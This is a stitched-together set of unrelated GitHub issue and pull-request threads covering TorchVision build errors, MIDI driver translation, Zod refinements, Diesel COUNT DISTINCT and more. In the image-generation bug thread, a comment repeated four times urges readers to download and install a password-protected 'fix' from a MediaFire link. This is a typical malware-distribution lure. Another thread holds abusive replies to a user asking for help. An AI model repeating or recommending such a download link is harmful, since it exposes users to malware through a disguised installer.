cmake_minimum_required(VERSION 3.10)
project(hello-world)

# The first thing do is to tell cmake to find the TorchVision library.
# The package pulls in all the necessary torch libraries,
# so there is no need to also add `find_package(Torch)` here.
find_package(Torch REQUIRED)
find_package(TorchVision REQUIRED)

add_executable(hello-world main.cpp)

# We now need to link the TorchVision library to our executable.
# We can do that by using the TorchVision::TorchVision target,
# which also adds all the necessary torch dependencies.
target_compile_features(hello-world PUBLIC cxx_range_for)
target_link_libraries(hello-world TorchVision::TorchVision)
set_property(TARGET hello-world PROPERTY CXX_STANDARD 14)

It is necessary for me to add find_package(Torch REQUIRED) otherwise I get fatal error: torchvision/models/resnet.h: No such file or directory.
Environment

PyTorch / torchvision Version: (1.6.0a0+b31f58d / 0.7.0a0+78ed10c)
OS: Ubuntu 20.04
Command used to install PyTorch/LibTorch: USE_CUDA=1 USE_CUDNN=1 USE_OPENCV=1 python setup.py install
Command used to install TorchVision: cmake -GNinja -DCMAKE_PREFIX_PATH=${HOME}/pytorch/torch -DCMAKE_INSTALL_PREFIX=${HOME}/vision/torchvision -DWITH_CUDA=on .. && cmake --build . --target install
Python version: 3.8.5
CUDA/cuDNN version: 11.0/8.0.2

Additional context
I built LibTorch from source with USE_OPENCV=1 and with an Anaconda environment. I have been working with with OpenCV and LibTorch without any problem. The problem is just with TorchVision that I recently tried to install it. I also built TorchVision with the same Anaconda environment that I used with LibTorch. I think it is worth to know that before of installing OpenCV, I installed libtiff with sudo apt install libtiff-dev.

Hi,
I'm not sure why your OpenCV install is not picking libtiff.
We have CI that compiles and run the example, which was added in https://github.com/pytorch/vision/pull/2678, and you can see in build_cmake.sh the commands we used to compile and install torchvision example.
@andfoy do you happen to know what might be the issue?

I think I found the problem. When I installed TorchVision I used a conda environment as Python3-dev is needed for built the library. But I found that I have libtiff.so in /usr/lib/x86_64-linux-gnu and also in ~/anaconda3/envs/myenv/lib. Perhaps OpenCV and TorchVision are linking libtiff.so from different locations and that caused the problem.
I rebuilt TorchVision from another clean Anaconda environment and it worked without CUDA support. But when I compiled with CUDA support, I get this error error while loading shared libraries: libc10_cuda.so: cannot open shared object file: No such file or directory.

I rebuilt TorchVision from another clean Anaconda environment and it worked without CUDA support. But when I compiled with CUDA support, I get this error error while loading shared libraries: libc10_cuda.so: cannot open shared object file: No such file or directory.

export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/path/to/libtorch/lib/

Hi @jhacsonmeza , this problem may be caused by missing of libs in ldd , you can check for this method as mentioned in #2609

Hi @zhiqwang, thank you so much, it worked. Also, as you pointed in https://github.com/pytorch/vision/issues/2609#issuecomment-681911111 copying libtorchvision.so from build to ${CMAKE_INSTALL_PREFIX}/lib works. Thank you again.


use mini_mime instead

This is a 🙋♂ feature or enhancement.

[ ] I've added tests (if it's a bug, feature or enhancement)
[ ] I've adjusted the documentation (if it's a feature or enhancement)
[x] The test suite passes (run bundle exec rspec to verify this)

Summary
Use mini_mime gem instead
Context
closes #535
How to Test
Regression: Deploy jets app and make sure it still works.
Version Changes
Patch

it should be applied for 2.x versions as well I think


implement Landing Page

Please do work for this task in a branch named issue-01.
Create a landing page with navbar, footer and main image in center

required for M1

Doned


TASK: check and adjust deps in elektra to juno npms

Audit the dependencies in the Elektra project to ensure that all relevant libraries are using the latest NPM packages from Juno. Adjust any references to internal or outdated packages to align with the official Juno NPM modules.

[x] deps to assets server should be replaced with npms

done


Memory usage causing app to get closed on iOS

In XCode, I see the memory climb until the app is shutdown.

Hi There,
When I launch the app the first time, everything is working, once I shut it down and launch it the second time, it doesn't go through the splash screen.
I have to reboot the phone and then the app restarts well.
I tried to update to Ionic beta 11 and fix the breaking changes, same problem. First load after reboot ok, next loads not ok.
Thanks for demo guys is really promising !
ionic -v
2.0.0-beta.37
cordova -v
6.3.1

I just fixed some problems with splashscreen on iOS here https://github.com/tsubik/ionic2-geofence/commit/30e4b17b73764896c5d880c0658f064f3b9c624c. Maybe that helps.


missing Samples

I can't try the samples coz the folder \samples\data is missing

readme.md
4. Change path OpenCVRootPath in module CVResource.pas to path to unpacked OpenCV <opencv>


Methods section on data normalization

I think we can write this at this point.

Added in recent "Fixing issues" PR.


how to setup pterostatus

wrong place go to support server  + ratio + fell off

Correct place

Discord server noob.
Come there and ask for help.

https://discord.gg/DAthQp7f

or what... do something bout it

Or... Keep posting nobody will help you here.

Ok bye bye.
Discord server is made for a reason if you are soo dumb that you can't understand this.
We cannot help you.
This GitHub section clearly states ISSUES which means it is for ISSUES not for your dumb help in setting up the bot.

indonesian hosting/store owner be like


feat: add templating support

Hi 👋
It's me again, from this PR https://github.com/BetaHuhn/repo-file-sync-action/pull/200
Opening as draft to get some feedback.

Hey @erezrokah,
first of all, thanks for taking the time to contribute to this project!
Next time, could you explain what your changes are trying to achieve in the PR body? This makes it easier for me as a maintainer to get an overview without me having to go through your changes one by one and having to piece everything together myself.
I think templating support could be useful and I would like to include it in this action, but I am not sure if your current syntax is the right way to go about it. Specifically, I don't like the way you need to specify files to use as data for the templates: <template-name>.<repo>.values.yml.
I created a discussion about this topic where we can discuss how we implement this feature before moving to the actual code. I want to hear about more use cases before finalizing a syntax.
Happy to revisit your idea if you explain your reasoning a bit more. Feel free to comment your ideas in the discussion!
Thanks :)

Thank you for commenting @BetaHuhn and I appreciate the time you spent going through the PR. I'll definitely add more details next time 🤦  Happy to close the PR and continue this in the discussion 👍


[dask] Refactor meta data handling.

Prepare for more meta data support.

Codecov Report

Merging #6130 into master will increase coverage by 0.14%.
The diff coverage is 95.00%.

@@            Coverage Diff             @@
##           master    #6130      +/-   ##
==========================================
+ Coverage   78.52%   78.67%   +0.14%
==========================================
  Files          12       12
  Lines        3069     3071       +2
==========================================
+ Hits         2410     2416       +6
+ Misses        659      655       -4

Impacted Files
Coverage Δ

python-package/xgboost/dask.py
79.84% <95.00%> (+0.88%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 9e955fb...d4e458a. Read the comment docs.


Where do I need to put bot token?

Where do I need to put bot token? I'm trying to selfhost on own vps and it's not clear.

On which platform will you run your bot?


leer: fix jet mismatch

With old jet:
> `(list @tas)`(to-wain:format 'hello\0a\0a')
~[%hello %$]

>`(list @tas)`(to-wain:format 'hello\0a')
~[%hello]

Without old jet:
> `(list @tas)`(to-wain:format 'hello\0a\0a')
~[%hello %$ %$]

>`(list @tas)`(to-wain:format 'hello\0a')
~[%hello %$]

The unjetted behavior certainly seems more reasonable to me so this PR fixes the jet to match the hoon. Here's a generator to test stuff out with:
=>
|%
  ++  to-wain                                           ::  cord to line list
    ::  ~%  %leer  ..part  ~
    |=  txt=cord
    ^-  wain
    =/  len=@  (met 3 txt)
    =/  cut  =+(cut -(a 3, c 1, d txt))
    =/  sub  sub
    =|  [i=@ out=wain]
    |-  ^+  out
    =+  |-  ^-  j=@
        ?:  ?|  =(i len)
                =(10 (cut(b i)))
            ==
          i
        $(i +(i))
    =.  out  :_  out
      (cut(b i, c (sub j i)))
    ~&  `(list @tas)`out
    ?:  =(j len)
      (flop out)
    $(i +(j))
--
:-  %say
|=  [^ [arg=@t ~] ~]
:-  %noun
(to-wain arg)

Releasing this is blocked on #459. There's also a failure in the fake-ship tests, not sure what the issue is.

There's a second mismatch here:
> `*`=+(to-wain:format .*(-(+6 '') -<))
[0 0]
> `*`(to-wain:format '')
0


Improve visits details page

Other visits scheduled should be chronological sorted.
Statuses are not properly displayed.
This is what I have for SITE

Implement it using webc-switch component

@cosmintuca what about declined status?

@Mastaleru there's no need to handle the declined status because we only show the scheduled visits


[BUG] Incorrect MIDI 1.0 translation in driver

Applies To
USB Driver
Describe the bug
Current code incorrectly handles conversion to and from USB MIDI 1.0 incorrectly. NOTE, this is only an issue when trying to use more than one Virtual Cable (USB MIDI 1.0) or group (UMP) when using a USB MIDI 1.0 device with driver.
To Reproduce
Steps to reproduce the behavior:

from a device with more than one virtual cable, send event on virtual cable greater than 1 - all messages defaulted to virtual cable 1.
from a device with more than one virtual cable, send or receive sysex message on one virtual cable while sending an event or sysex on second virtual cable - the sysex message is disrupted.

Expected behavior
As per specification, each virtual cable translates to group number directly and sysex messages can be intermixed with events on other virtual cables or groups.
Screenshots
Desktop (please complete the following information):
Do you wish to contribute a fix for this problem?
In progress - will pull in fix from AmeNote ProtoZOA when resolved.
Additional context
Add any other context about the problem here.

Tranlations between USB MIID 1.0 and UMP were improved and tested during process of finalizing USB MIDI 2.0 driver for AMEI / MA meeting in October. At conclusion of meeting, this fix along with other resolved issues were checked in and pull into main as per https://github.com/microsoft/MIDI/commit/3df2ba76800094f75907fd4823cfca09d5e14b38.
In reference to how translations handled between USB MIDI 1.0 and UMP, please refer to the midi2.dev github, https://github.com/midi2-dev/tusb_ump.


[Bug]: Image generation / images endpoint not working for me

What happened?
So I run the instance in a docker container, using mostly default settings in .env, except I use my own dalle3 reverse proxy.
Also just in case, here is my nginx.conf:
events {
    worker_connections 1024;
}

http {
    server {
        listen 443 ssl http2;
        listen [::]:443 ssl http2;

        server_name chat.(redacted);

        ssl_certificate /etc/nginx/certs/redacted.crt;
        ssl_certificate_key /etc/nginx/certs/redacted.key;

        # Enable gzip compression
        gzip on;
        gzip_vary on;
        gzip_proxied any;
        gzip_comp_level 6;
        gzip_buffers 16 8k;
        gzip_http_version 1.1;
        gzip_types text/css application/javascript application/json application/octet-stream;

        # SSL settings (you can add more from the provided config if needed)
        ssl_session_timeout 1d;
        ssl_session_cache shared:MozSSL:10m;
        ssl_session_tickets off;

        ssl_protocols TLSv1.2 TLSv1.3;
        ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
        ssl_prefer_server_ciphers off;

        # HSTS (uncomment if you want to enable HSTS)
        # add_header Strict-Transport-Security "max-age=63072000" always;

        # Increase the client_max_body_size to allow larger file uploads
        client_max_body_size 25M;

        location /api {
            proxy_pass http://chat:8001/api;
        }

        location / {
            proxy_pass http://chat:8001;
        }
    }
}

Steps to Reproduce

No idea how to reproduce...

What browsers are you seeing the problem on?
Chrome
Relevant log output
[chain/end] [1:chain:AgentExecutor] [31.19s] Exiting Chain run with output: {
  "output": "I'm here to help you create images based on descriptions. Please let me know if you want an image generated, and provide any specific details you'd like included.",
  "intermediateSteps": [
    {
      "action": {
        "tool": "dalle",
        "toolInput": {
          "prompt": "A cartoon illustration of a banana man enjoying his vacation on the beach. The banana man, with a big smile and sunglasses, is relaxing on a colorful beach chair under a vibrant umbrella. The beach scene includes a clear blue sky, gentle waves, and palm trees swaying in the breeze. The banana man is holding a refreshing drink with a tiny umbrella, capturing a joyful and whimsical vacation atmosphere.",
          "style": "vivid",
          "quality": "hd",
          "size": "1024x1024"
        },
        "log": "Invoking \"dalle\" with {\"prompt\": \"A cartoon illustration of a banana man enjoying his vacation on the beach. The banana man, with a big smile and sunglasses, is relaxing on a colorful beach chair under a vibrant umbrella. The beach scene includes a clear blue sky, gentle waves, and palm trees swaying in the breeze. The banana man is holding a refreshing drink with a tiny umbrella, capturing a joyful and whimsical vacation atmosphere.\", \"style\": \"vivid\", \"quality\": \"hd\", \"size\": \"1024x1024\"}\n",
        "messageLog": [
          {
            "lc": 1,
            "type": "constructor",
            "id": [
              "langchain_core",
              "messages",
              "AIMessage"
            ],
            "kwargs": {
              "content": "",
              "tool_calls": [],
              "invalid_tool_calls": [],
              "additional_kwargs": {
                "function_call": {
                  "name": "dalle",
                  "arguments": "{\"prompt\": \"A cartoon illustration of a banana man enjoying his vacation on the beach. The banana man, with a big smile and sunglasses, is relaxing on a colorful beach chair under a vibrant umbrella. The beach scene includes a clear blue sky, gentle waves, and palm trees swaying in the breeze. The banana man is holding a refreshing drink with a tiny umbrella, capturing a joyful and whimsical vacation atmosphere.\", \"style\": \"vivid\", \"quality\": \"hd\", \"size\": \"1024x1024\"}"
                }
              },
              "response_metadata": {
                "tokenUsage": {
                  "completionTokens": 138,
                  "promptTokens": 630,
                  "totalTokens": 768
                },
                "finish_reason": "function_call"
              }
            }
          }
        ]
      },
      "observation": "![generated image](/images/6660dfc092c841593c325c3f/img-fd1cb048-0ca9-407f-8fe8-8ce369060c3e.)"
    }
  ]
}

### Screenshots

tried both same thing with `.` and without

![image upload not working](https://github.com/user-attachments/assets/572af59c-472b-4a70-bcfa-893f448e2cf3)

So here is the function call to dalle3 working:
Kinda weird it shows a `.` at the end.

![image gen bug](https://github.com/user-attachments/assets/3b3e6448-4cfb-40c4-b928-126378bb9fbb)

### Code of Conduct

- [X] I agree to follow this project's Code of Conduct

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."


Link to Emily Starks CDS talk in /web/updates/2015/12/security-panel?hl=en

The talk is highly relevant to this and we should link to it.  Can you add it in please.

good point. Will do.


Let's Encrypt 2020.02.29 CAA Rechecking Bug

According to
https://community.letsencrypt.org/t/2020-02-29-caa-rechecking-bug/114591
most of the certificates are invalid now. Also mine.
How can i force to renew all of them?
Ht container tells me:
Certificates already exist and renewal is not necessary

Hi
https://github.com/nginx-proxy/docker-letsencrypt-nginx-proxy-companion/blob/master/docs/Container-utilities.md#force-certificates-renewal

Took the liberty to rename your issue in case other people are hit by LE's CAA rechecking bug and have to force renewal of certificates but don't know how to do this.

It's been way more than 90 days since the issue with Let's Encrypt happened so this isn't really relevant anymore, closing.


COUNT(DISTINCT ...) support

As mentioned in #2713, there is not currently support for select COUNT(DISTINCT column). This PR adds the function count_distinct, with usage:
assert_eq!(Ok(2), posts.select(count_distinct(user_id)).first(&connection))

I've based in the implementation on the exists and sql_function implementations, so if there is a better way to implement this I'm happy to take guidance.
There are some failing CI tests, but the errors seem rather unrelated to my changes - so if anyone as any advice to as to how to fix those or if thy can be ignored that'd be great.

As an aside, I see the existing count queries use type SqlType = BigInt. Would it not make more sense to use Unsigned<BigInt>, as a presumably you can't have negative counts?

Those changes look great, have committed them.
Explanation about unsigned vs signed makes complete sense too.

I've merged this manually to include a fix for the compile test failure.

Thanks for the work guys, this is just the feature I need

will this available in v2? if yes when v2 comes?


[WIP] fix SDL include path

This PR remove the SDL2/ prefix on all the includes.
CMake module was updated to use more mordern CMake features in the CI/example directory.
We need to decide if cpp-sdl2 headers needs to be included in a subdirectory (they probably should).

merging this will fix issue #20


feat: add the current path as a refinement check parameter

This is a follow-up PR to (#187). It's not intended for merge, but just to ask the question, what is the proper way to integrate the path into a custom refinement error message?  I've made a PR which injects the params.path from the parser into the refinement check args.  Is there a better way?  For example if I want to throw a ZodError in my custom refinement with the code of ZodIssueCode.invalid_string it requires the path to be set but in the current signature the refinement validation function doesn't have access to the path that is currently being validated.  This PR does the work of passing that information down from the parser.
This PR also includes a change which swaps out parallel custom refinements validations (Promise.all) for a serial approach so failed earlier validations will not cause later validations to be run.  This is useful, for example, when mixing sync and async validations. When a earlier-in-the-queue sync validation fails, a more costly async validations should not be run.

I added this in<EMAIL_ADDRESS>using a similar approach. Here's a demonstration of how to achieve this using the more advanced .refinement method (which is slightly more advanced than .refine)
const foo = z.string().refinement(
  _val => false,
  (_, ctx) => {
    return {
      code: ZodIssueCode.custom,
      message: `bad path: ${ctx.path.join('.')}`,
    };
  },
);

const data = z.object({ foo });

const t1 = await data.spa({ foo: 'asdf' });
console.log(t1);

If you want to use the path in your validation logic, you can use the even more powerful ._refinement method:
const noNested = z.string()._refinement((_val, ctx) => {
  if (ctx.path.length > 0) {
    ctx.addIssue({
      code: ZodIssueCode.custom,
      message: `schema cannot be nested. path: ${ctx.path.join('.')}`,
    });
  }
});

const data = z.object({
  foo: noNested,
});

// passes
noNested.parse('asdf');

// fails
data.parse({ foo: 'asdf' });


add unique

to get unique values in an array

make it work with arr.reduce
maybe accept an an optional equals arg?

thoughts:

wouldn’t this be very similar (functionally) to a set?
I know we probably don’t want to add a entire new data type, but if something like that already exists, don’t need to re-make
unique would be a good name. alias to deduplicate/dedupe?
also like that it would take a function: becomes an awesome Array.filter

Nice we should make it work with Array.prototype.filter versus Array.prototype.reduce
—
@tjmehta
On Wed, Jul 1, 2015 at 2:28 PM, Bryan Kendall<EMAIL_ADDRESS>wrote:

thoughts:

wouldn’t this be very similar (functionally) to a set?
I know we probably don’t want to add a entire new data type, but if something like that already exists, don’t need to re-make
unique would be a good name. alias to deduplicate/dedupe?
also like that it would take a function: becomes an awesome Array.filter

Reply to this email directly or view it on GitHub:
https://github.com/tjmehta/101/issues/103#issuecomment-117830293


Can you make this to use in MPMovieplayercontroller?

I am in need of a plugin to use the sub titles in MPMoviePlayercontroller. can you please let me know how to use this?

Yes, this library is for MPMoviePlayerController
On main page you have how to use it.


ViewPager do not switch slides

🐛 Bug Report
ViewPager component always shows first to second slide animation
To Reproduce
Steps to reproduce the behavior:
Try the example on the reference website https://akveo.github.io/react-native-ui-kitten/docs/components/view-pager/overview#viewpager
Expected behavior
Slides should switch one by one.
Link to runnable example or repository (highly encouraged)
https://akveo.github.io/react-native-ui-kitten/docs/components/view-pager/overview#viewpager
This will help us to resolve it faster.
-->
UI Kitten and Eva version

Package
Version

@ui-kitten/components
5.0.0-alpha1

Environment information
System:
    OS: macOS 10.15.4
    CPU: (8) x64 Intel(R) Core(TM) i5-8279U CPU @ 2.40GHz
  Binaries:
    Node: 13.11.0 - ~/.nvm/versions/node/v13.11.0/bin/node
    Yarn: 1.22.4 - ~/.nvm/versions/node/v13.11.0/bin/yarn
    npm: 6.13.7 - ~/.nvm/versions/node/v13.11.0/bin/npm
    Watchman: 4.9.0 - /usr/local/bin/watchman
  SDKs:
    iOS SDK:
      Platforms: iOS 13.4, DriverKit 19.0, macOS 10.15, tvOS 13.4, watchOS 6.2
  IDEs:
    Android Studio: 3.6 AI-192.7<IP_ADDRESS>92135
    Xcode: 11.4.1/11E503a - /usr/bin/xcodebuild
  npmPackages:
    react: 16.11.0 => 16.11.0
    react-native: 0.62.2 => 0.62.2

@sergeykuzmich thanks for reporting! Made it work with #8493e99

@artyorsh, hm, I've tried this but didn't get the expected result. Maybe there was some cache.
But anyway, thank you!

@sergeykuzmich as a workaround, you may get it work by setting onOffsetChange property

I got same error. Is this resolved?

@terrierscript works as expected in v5 stable

hmm, I use v5.0.0.
I got this error when append over 3 elements.